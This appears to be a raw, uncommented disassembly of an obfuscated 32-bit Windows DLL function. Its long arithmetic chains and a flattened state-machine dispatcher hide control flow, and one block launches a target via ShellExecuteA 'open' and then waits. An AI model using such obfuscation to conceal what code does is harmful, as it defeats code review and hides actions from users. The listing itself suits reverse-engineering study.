and edx, 0xe3b7dc08
or eax, 0xe3b7dc08
imul eax, edx
add eax, ecx
imul eax, eax, 0xb8a6d779
mov ecx, 0xa2dc52ed
xor edx, edx
div ecx
mov ecx, eax
mov eax, 0xffffffff
xor eax, 0xe10a3acc
add ecx, eax
add ecx, 1
xor eax, eax
sub eax, 0x1fafdc74
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x64], eax
mov esi, 0xffffffff
xor esi, 0xdc9eba57
mov edx, 0xffffffff
xor edx, 0xd5487b78
and eax, 0xd5487b78
and ecx, edx
mov edi, esi
and edi, 0xd5487b78
mov ebx, edx
and ebx, 0xdc9eba57
or eax, ecx
mov ecx, dword [ebp - 0x64]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xd5487b78
and ecx, edx
or eax, ecx
or eax, 0xb99b2a8b
and eax, 0x94d3000b
or eax, 0xa0970c7d
imul eax, eax, 0xac498364
sub eax, 0x44570e8b
add eax, 0x471b662d
add eax, 0x44570e8b
mov ecx, 0x99d46e17
xor edx, edx
div ecx
mov ecx, 0x7412eeca
xor edx, edx
div ecx
mov ecx, 0x2ca653f3
xor edx, edx
div ecx
or eax, 0x9457407e
sub eax, 0x78f9d126
mov ecx, 0x37b20200
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
sub esi, 0xcc0ec2f9
and esi, 0x302cb1f
xor ecx, ecx
sub ecx, 0x3f3a6e5b
add esi, ecx
add esi, 0x97ccda45
sub esi, 0x857a5ba5
add esi, 0xc87a9876
mov ecx, 0x430edd7f
mov edx, 0x9884a806
cmp esi, 0x7f419e21
cmovae ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101cf014]
imul eax, dword [0x101cf018]
or eax, 0x66b73316
mov ecx, 0xc765dc93
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0x50831623
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x50831623
or eax, 0x50831623
imul eax, edx
add eax, ecx
and eax, 0xf2e2a796
mov edx, eax
xor edx, 0xffffffff
and edx, 0x19e37af2
mov esi, 0xffffffff
xor esi, 0x19e37af2
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x19e37af2
or eax, 0x19e37af2
imul eax, edx
add eax, ecx
or eax, 0xe52bd900
add eax, 0xbc4d7d36
mov ecx, eax
and ecx, 0x8fead085
shl ecx, 1
xor eax, 0x8fead085
add eax, ecx
mov ecx, 0x2c0e1b5f
xor edx, edx
div ecx
imul eax, eax, 0x3dfea7e3
mov ecx, 0xf9e7cf17
xor edx, edx
div ecx
mov ecx, 0x7fde84d1
xor edx, edx
div ecx
imul eax, eax, 0xc90a9fb4
mov edx, 0xffffffff
xor edx, 0x3622cdc
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x3622cdc
add eax, edx
sub eax, ecx
mov ecx, 0x3961042f
xor edx, edx
div ecx
mov ecx, 0xa4106cef
xor edx, edx
div ecx
sub eax, 0xac8de768
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x95355b85
mov ecx, 0xffffffff
xor ecx, 0xa241b45e
or eax, edx
or ecx, 0xa241b45e
xor eax, 0xffffffff
and eax, ecx
sub eax, 0xe3d8f5e3
sub eax, 0x7134fd37
add eax, 0xe3d8f5e3
mov ecx, eax
and ecx, 0xb8f92e3d
xor ecx, 0xffffffff
add eax, 0xb8f92e3d
add eax, 1
add eax, ecx
xor eax, 0xffe98354
mov ecx, 0x93c7f26
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0x39bdc44f
xor ecx, 0x64be4c8e
sub ecx, 0xda78e041
sub ecx, 0x85ad44f9
sub ecx, 0xc841728b
add ecx, 0x85ad44f9
mov edx, 0xffffffff
xor edx, 0xa6348856
mov eax, ecx
and eax, edx
mov edx, ecx
xor edx, 0xa6348856
add ecx, edx
sub ecx, eax
sub ecx, 0xb563c68d
sub ecx, 0x8d817cff
mov eax, 0xffffffff
xor eax, 0x18ed5bc7
xor edx, edx
sub edx, 1
sub eax, edx
sub ecx, eax
mov edx, ecx
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xcd4b872b
mov esi, 0xffffffff
xor esi, 0xdbf2f372
mov eax, edx
and eax, 0xdbf2f372
mov dword [ebp - 0x70], eax
and ecx, esi
mov ebx, edi
and ebx, 0xdbf2f372
mov eax, esi
and eax, 0xcd4b872b
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x70]
or eax, ecx
mov ecx, dword [ebp - 0x6c]
or ebx, ecx
mov ecx, dword [ebp - 0x48]
xor eax, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0xdbf2f372
and edx, esi
or eax, edx
mov esi, 0xf67c1451
xor edx, edx
div esi
mov esi, 0x9466f02f
xor edx, edx
div esi
mov esi, eax
xor esi, 0xffffffff
and esi, 0xba09bda9
mov edi, 0xffffffff
xor edi, 0xba09bda9
mov edx, eax
and edx, edi
imul edx, esi
mov esi, eax
and esi, 0xba09bda9
or eax, 0xba09bda9
imul eax, esi
add eax, edx
sub eax, 0xe12fcfa8
mov edx, eax
and edx, 0xab645df7
shl edx, 1
xor eax, 0xab645df7
add eax, edx
imul eax, eax, 0x891d8e9d
mov esi, 0x3adc5d1
xor edx, edx
div esi
mov esi, 0x4d2e9227
xor edx, edx
div esi
mov esi, eax
mov eax, dword [ebp - 0x1c]
xor esi, 0x7b5b220c
mov edx, dword [ecx]
mov ecx, edx
xor ecx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x10
or ecx, edi
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x10
or edx, edi
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
cmp ecx, 0
setne cl
mov byte [ebp - 0x65], cl
mov ecx, 0x9884a806
mov edx, 0xe2c24af2
cmp esi, 0xeb37c562
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [ebp - 0x1c]
mov bl, byte [ebp - 0x65]
mov ecx, 0x33bdbd7
mov edx, 0x5e6a9468
test bl, 1
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101cf01c]
mov esi, dword [0x101cf020]
mov ecx, eax
xor ecx, 0xffffffff
mov edx, esi
and edx, ecx
mov edi, esi
xor edi, 0xffffffff
mov ecx, eax
and ecx, edi
imul ecx, edx
mov edx, eax
and edx, esi
or eax, esi
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xed6114b5
mov edx, 0xffffffff
xor edx, 0xed6114b5
and eax, edx
sub eax, ecx
imul eax, eax, 0x8e43c9fc
mov ecx, 0x877bdc7c
xor edx, edx
div ecx
imul eax, eax, 0x6d0c9c1b
mov ecx, eax
xor ecx, 0x692688ef
xor ecx, 0xffffffff
and ecx, 0x692688ef
shl ecx, 1
sub ecx, 0x692688ef
sub eax, ecx
mov ecx, 0x52ca9846
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x25e6ae67
xor ecx, 0xffffffff
or eax, 0x25e6ae67
and eax, ecx
mov ecx, 0xda840f19
xor edx, edx
div ecx
mov ecx, 0x14fd4f13
xor edx, edx
div ecx
imul eax, eax, 0xcf226c8d
imul eax, eax, 0xa1f7a8e5
mov ecx, 0x7f30f86
xor edx, edx
div ecx
mov esi, eax
and esi, 0x9ec3e6d1
or eax, 0x9ec3e6d1
add esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x536c6c2b
mov edx, 0xffffffff
xor edx, 0x536c6c2b
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x9b4dc149
and ecx, 0x536c6c2b
and edx, 0x9b4dc149
or eax, esi
or ecx, edx
xor eax, ecx
add eax, 0x4e02f860
sub eax, 0xa859a397
add eax, 0x274adae3
add eax, 0x78fa2f5d
sub eax, 0x274adae3
mov ecx, eax
xor ecx, 0x6e13619
xor ecx, 0xffffffff
or eax, 0x6e13619
and eax, ecx
mov ecx, 0x950e4f68
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0x360a71f3
xor ecx, 0xe913f89d
sub ecx, 0xca0d8d6f
add ecx, 0x8158bd1
add ecx, 0x8c55572e
sub ecx, 0x8158bd1
or ecx, 0xae79bfea
add ecx, 0xe89cb406
sub ecx, 0x6b38768
sub ecx, 0xe89cb406
mov eax, ecx
and eax, 0x9963e7a8
xor ecx, 0x9963e7a8
or eax, ecx
mov ecx, 0x8116fdd4
xor edx, edx
div ecx
imul eax, eax, 0xc4e1dc71
mov ecx, eax
xor ecx, 0x8a3e1cae
xor ecx, 0xffffffff
and ecx, 0x8a3e1cae
shl ecx, 1
sub ecx, 0x8a3e1cae
sub eax, ecx
and eax, 0xa5c3e7bf
xor eax, 0x3f388882
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xdd2c5e41
add ecx, eax
xor eax, eax
sub eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x986ab9d3
mov esi, 0xffffffff
xor esi, 0x986ab9d3
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x986ab9d3
or eax, 0x986ab9d3
imul eax, edx
add eax, ecx
add eax, 0x81e21b1b
mov ecx, 0xd28dabc8
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
mov edx, 0xffffffff
xor edx, 0xc7d956e0
xor esi, esi
sub esi, 1
sub edx, esi
sub ecx, edx
sub ecx, 0xba463062
sub ecx, 0xb23183e8
add ecx, 0xba463062
imul esi, ecx, 0x65d53711
xor esi, 0xb5eaece1
xor esi, 0x4cc897d0
mov ecx, 0x4abf57cf
mov edx, 0xf7e77bb3
cmp esi, 0xfd483580
cmove ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101cf024]
and eax, dword [0x101cf028]
xor eax, 0xd6bdc97d
sub eax, 0x51da974e
sub eax, 0x7c5f03e1
add eax, 0x51da974e
mov ecx, eax
xor ecx, 0xedc4eed2
xor ecx, 0xffffffff
and ecx, 0xedc4eed2
shl ecx, 1
sub ecx, 0xedc4eed2
sub eax, ecx
xor eax, 0x7871095d
mov ecx, 0xffffffff
xor ecx, 0x86551f71
mov esi, eax
xor esi, ecx
and esi, eax
mov eax, esi
add eax, 1
xor esi, 0xffffffff
or esi, 0xe35c6536
add esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x3f2b0464
mov edx, 0xffffffff
xor edx, 0x3f2b0464
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xb6cb2cc6
and ecx, 0x3f2b0464
and edx, 0xb6cb2cc6
or eax, esi
or ecx, edx
xor eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x538a7714
mov esi, 0xffffffff
xor esi, 0x538a7714
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x538a7714
or eax, 0x538a7714
imul eax, edx
add eax, ecx
mov esi, 0xffffffff
xor esi, 0xe6a497f8
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xe6a497f8
or eax, 0xe6a497f8
imul eax, edx
add eax, ecx
xor eax, 0x8169ff75
mov edx, eax
xor edx, 0xffffffff
and edx, 0x502ebbf6
mov esi, 0xffffffff
xor esi, 0x502ebbf6
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x502ebbf6
or eax, 0x502ebbf6
imul eax, edx
add eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x8ca9e083
add eax, ecx
add eax, 1
add eax, 0x8c17664b
and eax, 0x8d75431
mov ecx, 0xffffffff
xor ecx, 0x82c97a52
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
and eax, 0x53e156bf
mov ecx, 0xc4a46684
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xc737deb0
xor ecx, 0xffffffff
or eax, 0xc737deb0
and eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xb053ddd6
mov esi, 0xffffffff
xor esi, 0xb053ddd6
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xb053ddd6
or eax, 0xb053ddd6
imul eax, edx
add eax, ecx
imul eax, eax, 0x3590ae8e
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xaeaab1d6
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, eax
and ecx, ecx
xor ecx, 0xffffffff
and ecx, 0x659e97b8
xor ecx, 0xffffffff
mov edx, 0x659e97b8
and edx, 0x659e97b8
xor edx, 0xffffffff
and eax, edx
xor eax, 0xffffffff
and ecx, eax
xor ecx, 0xffffffff
sub ecx, 0x126f370a
and ecx, 0xc6b18902
xor ecx, 0x3b39f71e
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0x72d8228a
and ecx, 0x72d8228a
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
or eax, 0x1026b390
mov ecx, eax
and ecx, 0x34a91bc4
xor eax, 0x34a91bc4
or ecx, eax
xor ecx, 0x322809f1
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xffffffff
xor edx, 0xd6108bf9
mov esi, 0xffffffff
xor esi, 0xd6108bf9
and edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
or ecx, 0xd6108bf9
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x906c6e25
add eax, ecx
add eax, 1
sub eax, 0xdc207821
xor ecx, ecx
sub ecx, 0x3520c10d
sub eax, ecx
or eax, 0x2162d0b8
sub eax, 0x7ac1a60e
sub eax, 0x22fc271d
add eax, 0x7ac1a60e
add eax, 0xfdc526ce
sub eax, 0xbb2dc49d
sub eax, 0xfdc526ce
sub eax, 0x2d43574
sub eax, 0x46e4834b
add eax, 0x2d43574
mov ecx, 0xb9b1ce2a
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
or esi, 0x8397dee4
xor esi, 0xf56233ba
mov ecx, 0x13b4521c
mov edx, 0x473ccc57
cmp esi, 0x943705c0
cmove ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101cf02c]
xor edx, edx
div dword [0x101cf030]
mov ecx, 0x1227ec03
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xd9a1dc99
mov esi, 0xffffffff
xor esi, 0xd9a1dc99
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xd9a1dc99
or eax, 0xd9a1dc99
imul eax, edx
add eax, ecx
or eax, 0x955c472b
mov esi, 0xffffffff
xor esi, 0x6eb6c043
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x6eb6c043
or eax, 0x6eb6c043
imul eax, edx
add eax, ecx
or eax, 0x6bb4b6ef
mov ecx, eax
and ecx, 0x30aea522
xor ecx, 0xffffffff
add eax, 0x30aea522
add eax, 1
add eax, ecx
add eax, 0x86926c9f
sub eax, 0xb956a3da
xor eax, 0xa3f90887
or eax, 0xb2233371
mov ecx, 0x9b9c3f29
xor edx, edx
div ecx
add eax, 0xd7adb469
mov ecx, 0x40ed5294
xor edx, edx
div ecx
add eax, 0xed5f2dac
imul eax, eax, 0x734c14b3
mov ecx, eax
xor ecx, 0x617ca1fe
xor ecx, 0xffffffff
and ecx, 0x617ca1fe
shl ecx, 1
sub ecx, 0x617ca1fe
sub eax, ecx
or eax, 0x2552cb4
xor eax, 0xf4253033
mov ecx, 0xd386825f
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x6c3c7711
xor ecx, 0xffffffff
or eax, 0x6c3c7711
and eax, ecx
mov ecx, 0x5c4b79fa
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0x55700e8e
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x41fafdcf
or ecx, 0x41fafdcf
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
imul eax, eax, 0x2ec3bdaf
mov ecx, eax
xor ecx, 0x909b7cb1
xor ecx, 0xffffffff
or eax, 0x909b7cb1
and eax, ecx
mov ecx, 0xf6e07282
xor edx, edx
div ecx
mov ecx, 0x969fb6c5
xor edx, edx
div ecx
mov esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x59f19a5d
mov edx, 0xffffffff
xor edx, 0x59f19a5d
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xa0ef7e31
and ecx, 0x59f19a5d
and edx, 0xa0ef7e31
or eax, esi
or ecx, edx
xor eax, ecx
mov ecx, eax
and ecx, 0x3f13519a
xor ecx, 0xffffffff
add eax, 0x3f13519a
add eax, 1
add eax, ecx
xor eax, 0x4a12445
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x3b615a02
mov edx, 0xffffffff
xor edx, 0x3b615a02
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
or eax, 0xe28f0087
mov ecx, 0x513ece7f
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xb6d5d83e
mov edx, 0xffffffff
xor edx, 0xb6d5d83e
and eax, edx
sub eax, ecx
mov ecx, eax
and ecx, 0x61955ca8
shl ecx, 1
add eax, 0x61955ca8
sub eax, ecx
and eax, 0xc5db8ff9
mov ecx, eax
and ecx, 0xaa9aa636
shl ecx, 1
add eax, 0xaa9aa636
sub eax, ecx
mov ecx, 0x6d34ce7c
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x44]
mov edi, 0xffffffff
xor edi, 0x3ab230ba
mov edx, esi
and edx, edi
mov ecx, esi
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, esi
and edx, 0x3ab230ba
or esi, 0x3ab230ba
imul esi, edx
add esi, ecx
sub esi, 0xe6dd1065
add esi, 0x8eb361b2
add esi, 0xe6dd1065
xor ecx, ecx
lea ecx, str.open
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
sub esp, 4
mov dword [esp], 1
call fcn.100518d0
add esp, 4
mov ecx, eax
mov eax, 0x1770
cdq
idiv ecx
sub esp, 4
mov dword [esp], eax
call fcn.100518d0
add esp, 4
mov eax, dword [ebp - 0x1c]
mov ecx, 0x13b4521c
mov edx, 0x95489a43
cmp esi, 0xfca7c6ff
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101cf034]
imul eax, dword [0x101cf038]
mov ecx, 0xb314a52d
xor edx, edx
div ecx
and eax, 0x8fd1eb3a
mov ecx, 0x883a1ab6
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x550b87de
or ecx, 0x550b87de
add eax, ecx
and eax, 0xcbc74f9e
xor ecx, ecx
sub ecx, 0xdcc2e243
sub eax, ecx
mov ecx, eax
xor ecx, 0x869b0b6f
xor ecx, 0xffffffff
or eax, 0x869b0b6f
and eax, ecx
add eax, 0xe70c24d7
and eax, 0x9e79a39b
mov ecx, 0x68675de8
xor edx, edx
div ecx
imul eax, eax, 0x9682d302
mov ecx, 0xaf608443
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x12bb9a69
mov eax, ecx
and eax, 0xb62d474
shl eax, 1
xor ecx, 0xb62d474
add ecx, eax
mov eax, ecx
and eax, 0xa8a0c337
xor eax, 0xffffffff
add ecx, 0xa8a0c337
add ecx, 1
add ecx, eax
or ecx, 0x430c152f
xor ecx, 0xea4a2ba5
and ecx, 0xbba30923
and ecx, 0x829c32ec
add ecx, 0xe1fe95c0
sub ecx, 0x189af7d5
sub ecx, 0xe1fe95c0
or ecx, ecx
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xe8d5fb29
mov edx, 0xffffffff
xor edx, 0xe8d5fb29
and eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
sub ecx, 0xb9a34079
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x398d54e
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov edx, 0xffffffff
xor edx, 0xfa1b8cf4
mov eax, ecx
xor eax, edx
and eax, ecx
mov ecx, 0x9b5b988c
xor edx, edx
div ecx
mov ecx, 0x4bea1d49
xor edx, edx
div ecx
mov esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x6f11307f
mov edx, 0xffffffff
xor edx, 0x6f11307f
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x1d1514df
and ecx, 0x6f11307f
and edx, 0x1d1514df
or eax, esi
or ecx, edx
xor eax, ecx
add eax, 0xd97e818a
add eax, 0x7dcc9a04
sub eax, 0xd97e818a
mov ecx, 0xfb23ef15
xor edx, edx
div ecx
imul ecx, eax, 0x6330b612
add ecx, 0x4df8f3fb
sub ecx, 0x5440aa10
sub ecx, 0x4df8f3fb
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xf631cc9e
mov edx, 0xffffffff
xor edx, 0xf631cc9e
and ecx, edx
or eax, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x3bfa3955
add ecx, eax
xor eax, eax
sub eax, ecx
add eax, 0x7ef7df59
sub eax, 0x79559a94
sub eax, 0x7ef7df59
mov ecx, 0xf20a2b07
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x7c56ac12
shl ecx, 1
xor eax, 0x7c56ac12
add eax, ecx
xor eax, 0xa1a5e56d
mov edx, eax
xor edx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x82f339c5
mov esi, 0xffffffff
xor esi, 0xcdd2cf4a
mov ecx, edx
and ecx, 0xcdd2cf4a
and eax, esi
mov dword [ebp - 0x78], eax
mov ebx, edi
and ebx, 0xcdd2cf4a
mov eax, esi
and eax, 0x82f339c5
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x78]
or ecx, eax
mov eax, dword [ebp - 0x74]
or ebx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ebx
or edx, edi
xor edx, 0xffffffff
or esi, 0xcdd2cf4a
and edx, esi
or ecx, edx
and ecx, 0x4ae7b338
mov edx, 0xffffffff
xor edx, 0xe973e57e
mov esi, ecx
xor esi, edx
and esi, ecx
mov ecx, 0x4abf57cf
mov edx, 0xa2bff46b
cmp esi, 0xe14f7f6a
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x5e6a9468
jmp 0x1010caac
mov eax, dword [0x101cf03c]
mov esi, dword [0x101cf040]
mov edx, esi
xor edx, 0xffffffff
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, esi
add eax, edx
sub eax, ecx
mov ecx, 0xf71e6fd2
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0xe4249eb8
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xe4249eb8
or eax, 0xe4249eb8
imul eax, edx
add eax, ecx
imul ecx, eax, 0xca27cf98
mov eax, ecx
and eax, 0xa316ce9
xor ecx, 0xa316ce9
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xc90cb5d3
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
mov ecx, 0x54b8616e
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x167d8bc3
mov edx, 0xffffffff
xor edx, 0x167d8bc3
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x536871c5
mov esi, 0xffffffff
xor esi, 0x536871c5
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x536871c5
or eax, 0x536871c5
imul eax, edx
add eax, ecx
xor eax, 0x348f8da4
mov edx, eax
xor edx, 0xffffffff
and edx, 0x534d0f47
mov esi, 0xffffffff
xor esi, 0x534d0f47
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x534d0f47
or eax, 0x534d0f47
imul eax, edx
add eax, ecx
and eax, 0x949b3551
sub eax, 0xd215d75e
mov ecx, 0xb1336201
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0xfdef0aaf
mov edx, 0xffffffff
xor edx, 0xfdef0aaf
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
imul eax, eax, 0xbbe87a34
imul eax, eax, 0x44273a5d
mov ecx, eax
xor ecx, 0x8a9eb9b3
xor ecx, 0xffffffff
and ecx, 0x8a9eb9b3
shl ecx, 1
sub ecx, 0x8a9eb9b3
sub eax, ecx
mov ecx, 0xa6ce1e49
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0xb9b062ce
xor eax, 0xb9b062ce
or ecx, eax
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0x7b7cdcd5
add ecx, eax
sub ecx, 0x40388353
xor ecx, 0xe6082d9b
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xffffffff
xor edx, 0x3dc63c98
mov esi, 0xffffffff
xor esi, 0x3dc63c98
and edx, esi
or eax, edx
xor eax, 0xffffffff
or ecx, 0x3dc63c98
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
sub eax, 0x2e220a32
sub eax, 0x139b43be
imul eax, eax, 0xcdb98b44
sub eax, 0xeded6efb
mov ecx, 0x53346227
xor edx, edx
div ecx
mov ecx, 0x378a2ddd
xor edx, edx
div ecx
mov ecx, eax
and ecx, ecx
xor ecx, 0xffffffff
mov eax, 0x27367687
and eax, 0x27367687
xor eax, 0xffffffff
and ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x7bf01f58
mov edx, 0xffffffff
xor edx, 0x7bf01f58
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov ecx, eax
xor ecx, 0x2784c0c7
mov edx, 0xffffffff
xor edx, 0x2784c0c7
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, 0xffffffff
xor eax, 0x110649db
mov edx, 0xffffffff
xor edx, 0x110649db
and eax, edx
or ecx, eax
xor ecx, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xa095dcee
mov esi, 0xffffffff
xor esi, 0xa095dcee
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0xa095dcee
or ecx, 0xa095dcee
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0x696125bf
xor ecx, 0x696125bf
or eax, ecx
sub eax, 0x4ef88885
mov ecx, 0x8e42c020
xor edx, edx
div ecx
sub eax, 0xaf5090d2
sub eax, 0xade2e16b
add eax, 0xaf5090d2
xor eax, 0x308c1079
mov ecx, 0xa992b133
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov ecx, 0x8f3c5ec1
mov edx, 0x81f1e924
cmp esi, 0x22422854
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101cf044]
xor edx, edx
div dword [0x101cf048]
and eax, 0x1f5167c9
mov ecx, eax
and ecx, 0xb1fc4e26
shl ecx, 1
xor eax, 0xb1fc4e26
add eax, ecx
xor eax, 0xf9f071db
mov esi, 0xffffffff
xor esi, 0x48c06cea
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x48c06cea
or eax, 0x48c06cea
imul eax, edx
add eax, ecx
mov ecx, 0x720b2c23
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x537df9f9
mov esi, 0xffffffff
xor esi, 0x537df9f9
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x537df9f9
or eax, 0x537df9f9
imul eax, edx
add eax, ecx
or eax, 0x33e31db5
and eax, 0xc3bff749
sub eax, 0xb70056b0
sub eax, 0x9b65bd64
mov ecx, 0x619a1180
xor edx, edx
div ecx
add eax, 0xb8d99ed8
add eax, 0x998c25e0
sub eax, 0xb8d99ed8
imul ecx, eax, 0xcc229d2d
xor ecx, 0xbfdc0f5a
mov eax, ecx
and eax, 0xa50ed2e1
or ecx, 0xa50ed2e1
add eax, ecx
mov ecx, 0x852113fd
xor edx, edx
div ecx
mov esi, eax
and esi, 0xe221e7c0
and esi, 0x193b71d0
mov eax, esi
xor eax, 0x63f2b5ee
mov ecx, 0xffffffff
xor ecx, 0x63f2b5ee
and esi, ecx
shl esi, 1
sub esi, eax
and esi, 0x4d328c0a
mov eax, esi
xor eax, 0xffffffff
and eax, 0xfa40fe16
mov ecx, 0xffffffff
xor ecx, 0xfa40fe16
and esi, ecx
sub esi, eax
